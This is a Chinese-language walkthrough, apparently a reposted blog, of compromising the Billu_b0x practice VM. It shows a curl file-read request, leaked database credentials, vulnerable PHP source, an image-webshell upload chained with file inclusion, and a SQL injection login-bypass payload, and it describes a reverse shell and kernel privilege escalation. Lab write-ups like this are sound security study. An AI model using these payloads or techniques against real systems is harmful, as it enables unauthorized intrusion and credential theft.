Billu_b0x

2023-12-13 05:33:55

信息收集

#正常进行信息收集就好

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-18 22:07 CST
Nmap scan report for 192.168.182.142 (192.168.182.142)
Host is up (0.00073s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-internal-ip-disclosure: 
|_  Internal IP Leaked: 127.0.1.1
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|   /test.php: Test page
|_  /images/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
MAC Address: 00:0C:29:A9:EF:A9 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 31.10 seconds
                                                                    

只开放了两个端口,分别是22端口和80端口。貌似存在一个test.php测试页面!突破点就是在80端口上了,一旦找到用户名和密码,就可进行ssh登录尝试。

渗透测试

首页是这样的!看到提示可能是存在sql注入? 这里进行了测试,发现貌似并没有sql注入漏洞!

看看test测试页面是什么:

哦?这里出现了参数file,这个file参数的值还是路径! 那么很可能就是文件包含漏洞!

利用curl进行测试:

确定任意文件读取的漏洞!尝试读取shadow文件!

没有权限读取!既然这样的话,看看都存在什么文件吧,进行目录爆破:

下面就是依次看看这些文件都是什么作用!

add.php

利用任意文件读取漏洞,读取这个文件的源码:

<?php
  echo '<form  method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name=image>
        <input type=text name=name value="name">
        <input type=text name=address value="address">
        <input type=text name=id value=1337 >
    <input type="submit" value="upload" name="upload">
</form>';
?>

C

这个界面打开是空白的,所以我们尝试直接读取这个文件里面的内容!

curl -d "file=c.php" http://192.168.182.142/test.php
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

发现数据库的账号和密码!!

billu   b0x_billu

in

phpmy

数据库!直接使用上面的数据库账号和密码进行登录即可!

在auth表里面找到了网站的登录账号和密码!

尝试直接登录网站!

panel.php

成功登录网站之后,便来到了panel界面!这个界面可以上传文件:

可以上传文件!来到了这里我就开始了上传,发现在上传的时候,只能上传png jpg gif文件,一直绕过,发现绕不过去,当前的php版本信息是5.3.10 小于5.4版本,尝试使用%df来进行绕过,但是发现并不能绕过!

这里就糊涂了,没通过任意文件读取,去看看panel文件的源码是什么,而是转到了ssh上面,尝试无果!

回想起来当前的页面,于是就看了下源码!

<?php
session_start();

include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
                header('Location: index.php', true, 302);
                exit();

}



echo "Welcome to billu b0x ";
echo '<form method=post style="margin: 10px 0px 10px 95%;"><input type=submit name=lg value=Logout></form>';
if(isset($_POST['lg']))
{
        unset($_SESSION['logged']);
        unset($_SESSION['admin']);
        header('Location: index.php', true, 302);
}
echo '<hr><br>';

echo '<form method=post>

<select name=load>
    <option value="show">Show Users</option>
        <option value="add">Add User</option>
</select> 

 &nbsp<input type=submit name=continue value="continue"></form><br><br>';
if(isset($_POST['continue']))
{
        $dir=getcwd();
        $choice=str_replace('./','',$_POST['load']);

        if($choice==='add')
        {
                include($dir.'/'.$choice.'.php');
                        die();
        }

        if($choice==='show')
        {
        
                include($dir.'/'.$choice.'.php');
                die();
        }
        else
        {
                include($dir.'/'.$_POST['load']);
        }

}


if(isset($_POST['upload']))
{

        $name=mysqli_real_escape_string($conn,$_POST['name']);
        $address=mysqli_real_escape_string($conn,$_POST['address']);
        $id=mysqli_real_escape_string($conn,$_POST['id']);

        if(!empty($_FILES['image']['name']))
        {
                $iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
        $r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
        $image=array('jpeg','jpg','gif','png');
        if(in_array($r,$image))
        {
                $finfo = @new finfo(FILEINFO_MIME); 
        $filetype = @$finfo->file($_FILES['image']['tmp_name']);
                if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
                                {
                                        if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
                                                         {
                                                          echo "Uploaded successfully ";
                                                          $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
                                                         mysqli_query($conn, $update);
                                                          
                                                        }
                                }
                        else
                        {
                                echo "<br>i told you dear, only png,jpg and gif file are allowed";
                        }
        }
        else
        {
                echo "<br>only png,jpg and gif file are allowed";

        }
}


}

?>

发现这个页面存在文件包含漏洞!只要存在continue参数和load参数即可进行文件包含了!因此continue的参数值 为 任意,但是load参数的值是我们的马子的地址就行!(那就好了 我们不需要直接传php的马了 穿图片马就行了)

直接在panel里面复制图片马的地址:

成功执行我们的代码!接下来就是生成php的反弹shell 的马,再利用文件包含漏洞进行getshell!

提权

直接利用kali中自带的反弹shell的脚本进行getshell了!

拿到初始的shell之后,查看内核信息,这个版本之前遇到过很经典的内核漏洞!

利用

攻击机上起php服务,利用靶机进行下载!

补充

其实我们在首页就已经提示我们说“Show me your SQLI skills” 但是我们并没有找到相关sql注入的漏洞!既然存在任意文件读取漏洞,那么我们就可以利用他来读取index.php的内容!

<?php
session_start();

include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
        $_SESSION['logged']='';

}

if($_SESSION['logged']==true &&  $_SESSION['admin']!='')
{

        echo "you are logged in :)";
        header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> 
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
        $uname=str_replace('\'','',urldecode($_POST['un']));
        $pass=str_replace('\'','',urldecode($_POST['ps']));
        $run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
        $result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {

$row = mysqli_fetch_assoc($result);
           echo "You are allowed<br>";
           $_SESSION['logged']=true;
           $_SESSION['admin']=$row['username'];
           
         header('Location: panel.php', true, 302);
   
}
else
{
        echo "<script>alert('Try again');</script>";
}

}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";

?>

然后我们便可以找到三个关键的sql注入的过滤语句:

$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';

整个过滤是针对单引号进行的过滤!

我们只需要输入:

select * from auth where pass='\'and uname='or 1=1-- \';
select * from auth where pass='\'and uname='or 1=1#';

这里的整体的思路是这样的:当我们输入“\”的时候,其实在select的语句中,是转义字符的意思,那么我们针对select * from auth where pass='\'and uname='or 1=1-- \'; 来说就是pass=' 这个单引号和uname='的引号闭合!!!(\'and uname=)括号里面的内容就是pass的内容! 然后后面的or 1=1以及-- 注释使得我们能够成功的登录到系统里面!

登陆进行就正常操作即可了!

这里还有一个知识点就是phpmyadmin的默认配置文件名字:config.inc.php 默认的路径就是在phpmyadmin下面!

既然这里利用dirsearch发现了路径:phpmy 那么猜测这个路径下面可能存在着config.inc.php文件!

这里确实读取到了这个文件!里面还有root的账号和密码!!直接ssh登录即可!

文章来源:https://blog.csdn.net/weixin_44770698/article/details/134893369
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。